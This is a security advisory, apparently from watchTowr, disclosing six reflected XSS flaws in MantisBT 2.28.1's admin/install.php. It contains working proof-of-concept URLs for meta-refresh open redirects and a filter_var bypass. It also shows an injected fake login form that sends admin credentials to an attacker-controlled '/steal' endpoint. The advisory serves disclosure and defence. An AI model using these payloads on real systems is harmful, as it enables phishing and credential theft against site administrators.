WT-2026-0066

watchTowr Vulnerability Report

- Product affected: Mantis Bug Tracker
- Version tested: 2.28.1
- Platform: Linux
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - Reflected XSS via Multiple Parameters in `admin/install.php`

> Note: We understand that the recommendation is to remove the admin directory as mentioned in the admin guide. However, these vulnerabilities exist when it is not removed, and the removal of the admin directory is not automatically done, which means some public Mantis Bug Trackers still have the admin directory accessible as can be seen from a Google Search.

MantisBT 2.28.1 contains six reflected XSS injection points in `/admin/install.php`. User-supplied parameters are echoed into HTML without escaping via `print_test_result()` (which uses raw `echo`) and an unescaped `printf` format string. No authentication is required.

A Content Security Policy (`script-src 'self'`) prevents inline JavaScript execution, but the CSP is missing a `form-action` directive, allowing exploitation via credential-

phishing form injection and `<meta>` open redirects.

Vulnerable Parameters

Sink 1: `path` via `print_test_result()` (3 code paths)

The `$f_path` variable is interpolated into error messages passed to `print_test_result()`, which echoes them with raw `echo '<br />' . $p_message` (line 67).

Line 494: `filter_var` failure (no valid URL required):

Note: `filter_var(FILTER_VALIDATE_URL)` rejects URLs with spaces but accepts `<`, `>`, and `"`. For payloads that must pass `filter_var` (lines 500, 502), use `/` instead of spaces in HTML tags (e.g. `<meta/http-equiv=...>` instead of `<meta http-equiv=...>`). Line 494 does not require a valid URL.

```
$t_url_check = "'$f_path' is not a valid URL.";
```

An example proof of concept link which triggers an open redirect to https://watchtowr.com:

```
http://192.168.0.147:8989/admin/install.php?install=2&path=not-a-url<meta http-equiv%3D"refresh" content%3D"0%3Burl%3Dhttps%3A%2F%2Fwatchtowr.com%2F">
```

Response renders:

```
'not-a-url<meta http-equiv="refresh" content="0;url=https://watchtowr.com/">/' is not a valid URL.
```

The `<meta>` tag executes and the browser redirects to `watchtowr.com`. The payload does not need to be a valid URL since it triggers the `filter_var` failure branch. Spaces are allowed here since `filter_var` is never called.

Line 500: `url_get()` returns null:

```
$t_url_check = "Can't retrieve web page at '$f_path'.";
```

This code path can be triggered when a valid URL is passed with a closed port:

```
http://192.168.0.147:8989/admin/install.php?install=2&path=http%3A%2F%2F192.168.0.147%3A
1%2F<meta/http-equiv%3D"refresh"/content%3D"0%3Burl%3Dhttps%3A%2F%2Fwatchtowr.com%2F">
```

The path must pass `filter_var(FILTER_VALIDATE_URL)` so it needs a valid URL scheme and host with no spaces. Using a closed port (`:1`) causes `url_get()` to return null.

Response renders:

```
Can't retrieve web page at 'http://192.168.0.147:1/<meta/http-equiv="refresh"/content="0;
url=https://watchtowr.com/">/'
```

Line 502: response lacks "MantisBT":

```
$t_url_check = "Web page at '$f_path' does not appear to be a
MantisBT site.";
```

The URL must be reachable from the server and return content that does not contain the string "MantisBT". Any live HTTP service that isn't MantisBT will hit this path.

```
http://192.168.0.147:8989/admin/install.php?install=2&path=https%3A%2F%2Fwatchtowr.com%2F
<meta/http-equiv%3D"refresh"/content%3D"0%3Burl%3Dhttps%3A%2F%2Fwatchtowr.com%2F">
```

Response renders:

```
Web page at 'https://watchtowr.com/<meta/http-equiv="refresh"/content="0;url=https://watc
htowr.com/">/' does not appear to be a MantisBT site.
```

Sink 2: `db_table_prefix`, `db_table_plugin_prefix`, `db_table_suffix` via `printf` (line 766-769)

Three table prefix/suffix parameters are echoed raw into an `<input>` `value` attribute via `printf`:

```
printf( '<input id="%1$s" name="%1$s" type="text" class="tabl
e-prefix reset" %2$s value="%3$s">',
    $t_key,
    $t_key == 'db_table_plugin_prefix' ? 'required' : '',
    ${'f_' . $t_key} // Unescaped user input
);
```

The variables `$f_db_table_prefix`, `$f_db_table_plugin_prefix`, and `$f_db_table_suffix` are read from `gpc_get()` on line 267 when `$t_install_state > 1`.

In order to trigger this XSS, the `install=2` parameter needs to be set with invalid database credentials so checks fail and the install state falls back to 1, rendering the form with user-controlled values.

As an example proof of concept, the following URL injects a "Session Expired - Re-enter credentials" HTML form with a username and password field. When the form is submitted, the credentials are sent to an attacker-controlled website.

```
http://192.168.0.147:8989/admin/install.php?install=2&db_type
=mysqli&hostname=nonexistent&database_name=x&db_username=x&db
_password=x&admin_username=x&admin_password=x&timezone=UTC&pa
th=http://localhost/&db_exists=0&db_table_plugin_prefix=plugi
n_&db_table_suffix=_table&db_table_prefix=%22%3E%3Cform%20act
ion%3D%22http%3A%2F%2F192.168.0.100%2Fsteal%22%20method%3D%22
POST%22%3E%3Ch2%3ESession%20Expired%20-%20Re-enter%20credenti
als%3C%2Fh2%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%2
2Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22passw
ord%22%20placeholder%3D%22Password%22%3E%3Cbutton%20type%3D%2
2submit%22%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3Cinput%20valu
e%3D%22
```

The HTML response contains the injected `<form>` which renders within the legitimate MantisBT page. Submitted credentials go to `http://192.168.0.100/steal`.

Impact

- **Credential phishing**: Attacker crafts a URL that renders a fake login form on the real MantisBT admin page. Admin credentials are submitted to an attacker-controlled server.
- **Open redirect**: Victim is silently redirected to a phishing or malware site.
- **UI manipulation**: CSS injection can hide legitimate page content and overlay attacker-controlled HTML, enabling social engineering.

Note: Full JavaScript execution is prevented by CSP, so cookie theft and DOM manipulation do not appear to be possible through these injection points.